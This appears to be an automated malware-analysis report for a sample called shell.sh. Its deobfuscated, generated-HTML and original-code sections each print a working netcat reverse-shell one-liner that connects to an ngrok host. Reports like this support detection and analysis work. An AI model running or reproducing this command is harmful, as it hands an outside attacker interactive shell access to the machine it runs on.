PHP Malware Analysis
shell.sh
md5: d023a3b2bd3b7f7dae615fb4027fc05c
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Deobfuscated PHP code
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 2.tcp.eu.ngrok.io 12747 >/tmp/fExecution traces
Generated HTML code
<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 2.tcp.eu.ngrok.io 12747 >/tmp/f </pre></body></html>Original PHP code
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 2.tcp.eu.ngrok.io 12747 >/tmp/f
